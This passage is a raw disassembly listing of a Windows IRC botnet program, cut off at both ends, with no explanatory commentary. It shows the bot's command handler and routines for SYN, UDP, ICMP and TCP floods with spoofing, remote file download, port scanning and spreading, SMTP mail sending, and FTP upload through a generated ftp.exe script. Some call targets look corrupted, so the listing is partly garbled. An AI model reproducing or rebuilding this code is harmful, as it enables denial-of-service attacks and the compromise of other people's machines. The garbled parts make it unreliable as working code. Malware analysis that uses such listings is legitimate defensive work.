eax, eax pop ecx jz loc_412B1D push [ebp+arg_8] push offset aFf ; "ff" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1D push [ebp+arg_8] push offset aCom_rename ; "com.rename" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ACB push [ebp+arg_8] push offset aCom_mv ; "com.mv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ACB push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129CA push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129CA mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40F239 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DF push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DF push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127DA push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127DA push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127DA push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DC push [ebp+arg_8] push offset aDdos_synf ; "ddos.synf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DC push [ebp+arg_8] push offset aDownload_wget ; "download.wget" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41259B push [ebp+arg_8] push offset aDownload_wg ; "download.wg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41259B push [ebp+arg_8] push offset aDaemon_redirec ; "daemon.redirect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249E push [ebp+arg_8] push offset aDaemon_rd ; "daemon.rd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249E push [ebp+arg_8] push offset aRoot_portscan ; "root.portscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123AB push [ebp+arg_8] push offset aRoot_ps ; "root.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123AB push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D6 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D6 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BE push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BE mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40F239 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aAsc ; "asc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aU ; "u" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aP ; "p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aDdos_tcpf ; "ddos.tcpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41189C lea eax, [ebp+var_3F8] push edi push eax call sub_4179C0 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_DB0] push eax call sub_4179C0 push [ebp+arg_10] lea eax, [ebp+var_BA8] push eax call sub_4179C0 push offset asc_42A3B4 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] call sub_40A7D7 push eax lea eax, [ebp+var_55C] push eax call sub_4179C0 add esp, 30h lea eax, [ebp+var_6EC] push eax push 101h call dword_43F5E0 lea eax, [ebp+var_3F8] push eax call dword_43F6EC push 6 push 1 push 2 mov edi, eax call dword_43F6E8 push [ebp+arg_18] mov esi, eax mov [ebp+var_2EC], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2E8], eax call dword_43F668 mov [ebp+var_2EA], ax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_BA8] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_15B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4172B0 add esp, 1Ch lea eax, [ebp+var_2EC] push 10h push eax push esi call dword_43F610 mov edi, 100h push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43F680 lea eax, [ebp+var_CAC] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_15B0] push eax push esi call dword_43F6B8 push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43F680 push esi call dword_43F700 call dword_43F5C8 lea eax, [ebp+var_BA8] push eax push offset unk_4373F4 loc_411888: ; CODE XREF: sub_40EE72+3B53j ; sub_40EE72+3E3Aj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_413A64 ; --------------------------------------------------------------------------- loc_41189C: ; CODE XREF: sub_40EE72+28C0j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40F239 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 push 4 push esi call sub_40D000 pop ecx test eax, eax pop ecx jnz short loc_411906 push esi push offset dword_43739C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411906: ; CODE XREF: sub_40EE72+2A87j nop call near ptr 2600000h push eax call sub_417302 pop ecx call sub_41730C push 9 cdq pop ecx idiv ecx push edx call sub_41730C push 63h cdq pop ecx idiv ecx push edx call sub_41730C cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_CB0] push edx push eax lea eax, [ebp+var_BAC] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4172B0 lea eax, [ebp+var_BAC] push offset aAb ; "ab" push eax call sub_4179A8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40F239 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_417956 push [ebp+arg_24] call sub_417900 add esp, 20h lea eax, [ebp+var_BAC] push eax lea eax, [ebp+var_3F8] push offset aSS_4 ; "-s:%s" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_3F8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43F5DC test eax, eax push edi push esi jz short loc_4119D3 push offset dword_437324 jmp short loc_4119D8 ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_40EE72+2B58j push offset dword_4372E8 loc_4119D8: ; CODE XREF: sub_40EE72+2B5Fj call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_411A01 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_411A01: ; CODE XREF: sub_40EE72+2B71j lea eax, [ebp+var_2DC] push eax call sub_40BF6D loc_411A0D: ; CODE XREF: sub_40EE72+2BC0j lea eax, [ebp+var_BAC] push 4 push eax call sub_40D000 add esp, 0Ch test eax, eax jz loc_40F239 lea eax, [ebp+var_BAC] push eax call sub_419BBA jmp short loc_411A0D ; --------------------------------------------------------------------------- loc_411A34: ; CODE XREF: sub_40EE72+2A3Bj ; sub_40EE72+2A52j push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41781F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406AF8 loc_411A5D: ; CODE XREF: sub_40EE72+587Aj add esp, 24h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411A65: ; CODE XREF: sub_40EE72+2892j ; sub_40EE72+28A9j mov esi, 80h push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A lea eax, [ebp+var_678] push eax push offset aSyn ; "syn" call sub_4176D0 add esp, 14h test eax, eax jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aAck ; "ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aRandom ; "random" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 push offset dword_4372B0 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411AC8: ; CODE XREF: sub_40EE72+2C1Cj ; sub_40EE72+2C33j ... push [ebp+arg_10] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_411BF4 push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_6F8] push [ebp+arg_18] push esi push eax call sub_41782A push [ebp+arg_0] call sub_41781F mov [ebp+var_574], eax add esp, 10h xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_56C], ebx mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_411B65 mov eax, offset aNormal ; "Normal" loc_411B65: ; CODE XREF: sub_40EE72+2CECj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_43725C lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Ch push eax call sub_416D5C add esp, 2Ch mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_401D82 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411BE3 loc_411BCD: ; CODE XREF: sub_40EE72+2D6Fj cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 2600833h jmp short loc_411BCD ; --------------------------------------------------------------------------- loc_411BE3: ; CODE XREF: sub_40EE72+2D59j nop call near ptr 26402CBh push eax push offset dword_437214 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411BF4: ; CODE XREF: sub_40EE72+2C67j push offset dword_4371CC jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411BFE: ; CODE XREF: sub_40EE72+284Dj ; sub_40EE72+2864j ... cmp dword_43F758, ebx mov esi, [ebp+arg_4] jnz loc_411D09 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F push 7Fh mov [ebp+var_310], eax push [ebp+var_8C] lea eax, [ebp+var_418] push eax call sub_418C10 add esp, 24h lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset unk_437174 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Eh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40AF86 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411CF8 loc_411CE6: ; CODE XREF: sub_40EE72+2E84j cmp [ebp+var_2FC], ebx jnz short loc_411D22 push 32h nop call near ptr 2600833h jmp short loc_411CE6 ; --------------------------------------------------------------------------- loc_411CF8: ; CODE XREF: sub_40EE72+2E72j nop call near ptr 26402CBh push eax push offset unk_43712C jmp loc_4128CE ; --------------------------------------------------------------------------- loc_411D09: ; CODE XREF: sub_40EE72+2D95j push 1FFh lea eax, [ebp+var_2DC] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_418C10 loc_411D1F: ; CODE XREF: sub_40EE72+3A68j add esp, 0Ch loc_411D22: ; CODE XREF: sub_40EE72+2E7Aj ; sub_40EE72+2FD2j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_411D2F: ; CODE XREF: sub_40EE72+567Ej lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push esi jmp loc_414629 ; --------------------------------------------------------------------------- loc_411D42: ; CODE XREF: sub_40EE72+2808j ; sub_40EE72+281Fj ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_310], eax jz short loc_411DA7 push esi call sub_41781F pop ecx mov [ebp+var_30C], eax jmp short loc_411DAD ; --------------------------------------------------------------------------- loc_411DA7: ; CODE XREF: sub_40EE72+2F24j mov [ebp+var_30C], ebx loc_411DAD: ; CODE XREF: sub_40EE72+2F33j push 7Fh lea eax, [ebp+var_418] push [ebp+var_8C] push eax call sub_418C10 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset dword_4370BC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Fh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40B112 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411E54 loc_411E3E: ; CODE XREF: sub_40EE72+2FE0j cmp [ebp+var_2FC], ebx jnz loc_411D22 push 32h call near ptr 2600833h nop jmp short loc_411E3E ; --------------------------------------------------------------------------- loc_411E54: ; CODE XREF: sub_40EE72+2FCAj nop call near ptr 26402CBh push eax push offset dword_437074 jmp loc_4128CE ; --------------------------------------------------------------------------- loc_411E65: ; CODE XREF: sub_40EE72+27DAj ; sub_40EE72+27F1j push 8 call sub_416FA4 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_41781F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 258h jle short loc_411EB8 push [ebp+arg_8] lea eax, [ebp+var_2DC] push offset unk_437028 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411EB8: ; CODE XREF: sub_40EE72+300Fj push edi call sub_41781F push [ebp+arg_18] mov [ebp+var_330], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F add esp, 0Ch cmp eax, 2 mov [ebp+var_32C], eax jnb short loc_411EF1 push 2 pop eax mov [ebp+var_32C], eax loc_411EF1: ; CODE XREF: sub_40EE72+3074j push 3Ch pop ecx cmp eax, ecx jbe short loc_411EFE mov [ebp+var_32C], ecx loc_411EFE: ; CODE XREF: sub_40EE72+3084j push [ebp+arg_10] call sub_41781F mov [ebp+var_328], eax mov eax, 320h cmp [ebp+var_328], eax pop ecx jbe short loc_411F20 mov [ebp+var_328], eax loc_411F20: ; CODE XREF: sub_40EE72+30A6j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+arg_0], ebx jz short loc_411F76 mov [ebp+arg_24], offset dword_42ACB0 loc_411F39: ; CODE XREF: sub_40EE72+30E6j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411F5C add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_411F39 jmp short loc_411F76 ; --------------------------------------------------------------------------- loc_411F5C: ; CODE XREF: sub_40EE72+30D8j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_411F76: ; CODE XREF: sub_40EE72+30BEj ; sub_40EE72+30E8j cmp [ebp+var_330], ebx jz loc_414039 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_411FBD cmp byte ptr [edi], 23h jz short loc_411FBD push edi lea eax, [ebp+var_444] push 10h push eax call sub_41782A push 78h push edi call sub_418F50 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_304], eax jmp loc_412091 ; --------------------------------------------------------------------------- loc_411FBD: ; CODE XREF: sub_40EE72+3119j ; sub_40EE72+311Ej cmp [ebp+var_9C7], bl jnz short loc_411FDF cmp [ebp+var_9C6], bl jnz short loc_411FDF cmp [ebp+var_9B6], bl jnz short loc_411FDF push offset unk_436FE4 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411FDF: ; CODE XREF: sub_40EE72+3151j ; sub_40EE72+3159j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43F60C mov al, [ebp+var_9C7] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43F6F4 push eax lea eax, [ebp+var_444] push eax call sub_418C10 add esp, 0Ch cmp [ebp+var_9B6], bl jz short loc_41208B xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_41207F loc_41205D: ; CODE XREF: sub_40EE72+320Bj cmp eax, ebx jz short loc_41207F mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_41205D loc_41207F: ; CODE XREF: sub_40EE72+31E9j ; sub_40EE72+31EDj mov [ebp+var_304], 1 jmp short loc_412091 ; --------------------------------------------------------------------------- loc_41208B: ; CODE XREF: sub_40EE72+31C3j mov [ebp+var_304], ebx loc_412091: ; CODE XREF: sub_40EE72+3146j ; sub_40EE72+3217j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_334], eax mov eax, [ebp+var_4] mov [ebp+var_30C], eax mov eax, [ebp+var_8] mov [ebp+var_308], eax mov edi, 80h lea eax, [ebp+var_434] push edi push eax call sub_41782A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_4120E2 loc_4120CF: ; CODE XREF: sub_40EE72+3293j push esi loc_4120D0: ; CODE XREF: sub_40EE72+327Dj lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41210D ; --------------------------------------------------------------------------- loc_4120E2: ; CODE XREF: sub_40EE72+325Bj mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4120F1 cmp byte ptr [eax], 23h jnz short loc_4120F1 push eax jmp short loc_4120D0 ; --------------------------------------------------------------------------- loc_4120F1: ; CODE XREF: sub_40EE72+3275j ; sub_40EE72+327Aj mov esi, offset aF ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4120CF mov [ebp+var_3B4], bl loc_41210D: ; CODE XREF: sub_40EE72+326Ej cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_41211F mov eax, offset aSequential ; "Sequential" loc_41211F: ; CODE XREF: sub_40EE72+32A6j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_436F60 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx call near ptr 2670BF1h nop mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4121AD loc_412197: ; CODE XREF: sub_40EE72+3339j cmp [ebp+var_300], ebx jnz loc_41460C push 32h call near ptr 2600833h nop jmp short loc_412197 ; --------------------------------------------------------------------------- loc_4121AD: ; CODE XREF: sub_40EE72+3323j nop call near ptr 26402CBh push eax push offset unk_436F18 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_4121BE: ; CODE XREF: sub_40EE72+279Aj ; sub_40EE72+27B1j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_4450D8[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 add esp, 14h mov esi, eax lea eax, [ebp+var_2DC] push esi push offset dword_436F0C push eax call sub_4172B0 add esp, 0Ch cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push ebx lea eax, [ebp+var_2DC] push ebx push eax push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_444EC0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_4450D8 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_4122A9: ; CODE XREF: sub_40EE72+3534j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4122D6: ; CODE XREF: sub_40EE72+276Cj ; sub_40EE72+2783j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_4450D8[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 14h cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_444EC0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_4450D8 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_4122A9 ; --------------------------------------------------------------------------- loc_4123AB: ; CODE XREF: sub_40EE72+273Ej ; sub_40EE72+2755j push edi call dword_43F6A8 push [ebp+arg_18] mov [ebp+var_474], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_480], eax call sub_41781F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_47C], eax lea eax, [ebp+var_500] mov [ebp+var_504], esi push eax call sub_418C10 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_46C], edi push [ebp+var_47C] mov [ebp+var_468], eax push [ebp+var_480] push [ebp+var_474] call dword_43F6F4 push eax lea eax, [ebp+var_2DC] push offset unk_436EA0 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 20h mov [ebp+var_478], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_504] push ebx push eax push offset byte_415E37 push ebx push ebx call near ptr 2670BF1h nop mov ecx, [ebp+var_478] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41248D loc_412477: ; CODE XREF: sub_40EE72+3619j cmp [ebp+var_464], ebx jnz loc_4144E5 push 32h call near ptr 2600833h nop jmp short loc_412477 ; --------------------------------------------------------------------------- loc_41248D: ; CODE XREF: sub_40EE72+3603j call near ptr 26402CBh nop push eax push offset unk_436E54 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_41249E: ; CODE XREF: sub_40EE72+2710j ; sub_40EE72+2727j push edi call sub_41781F push 7Fh mov [ebp+var_314], eax push [ebp+arg_18] lea eax, [ebp+var_418] push eax call sub_418C10 push [ebp+arg_0] call sub_41781F mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_318], eax lea eax, [ebp+var_398] push [ebp+var_8C] mov [ebp+var_420], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_304], eax push [ebp+var_318] lea eax, [ebp+var_418] mov [ebp+var_308], edi push eax push [ebp+var_314] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_436E08 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 10h push eax call sub_416D5C add esp, 24h mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_407BDE push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41258A loc_412574: ; CODE XREF: sub_40EE72+3716j cmp [ebp+var_300], ebx jnz loc_4144E5 push 32h nop call near ptr 2600833h jmp short loc_412574 ; --------------------------------------------------------------------------- loc_41258A: ; CODE XREF: sub_40EE72+3700j nop call near ptr 26402CBh push eax push offset unk_436DB4 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_41259B: ; CODE XREF: sub_40EE72+26E2j ; sub_40EE72+26F9j push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 push 0FFh lea eax, [ebp+var_680] push [ebp+arg_18] push eax call sub_418C10 push [ebp+arg_0] mov [ebp+var_57C], ebx call sub_41781F mov [ebp+var_578], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_4125F7 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_4125FD ; --------------------------------------------------------------------------- loc_4125F7: ; CODE XREF: sub_40EE72+376Fj mov [ebp+var_570], ebx loc_4125FD: ; CODE XREF: sub_40EE72+3783j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_412614 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_41261A ; --------------------------------------------------------------------------- loc_412614: ; CODE XREF: sub_40EE72+3791j mov [ebp+var_574], ebx loc_41261A: ; CODE XREF: sub_40EE72+37A0j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_568], eax lea eax, [ebp+var_2DC] push edi push offset unk_436D78 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 16h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4126CB loc_4126B5: ; CODE XREF: sub_40EE72+3857j cmp [ebp+var_560], 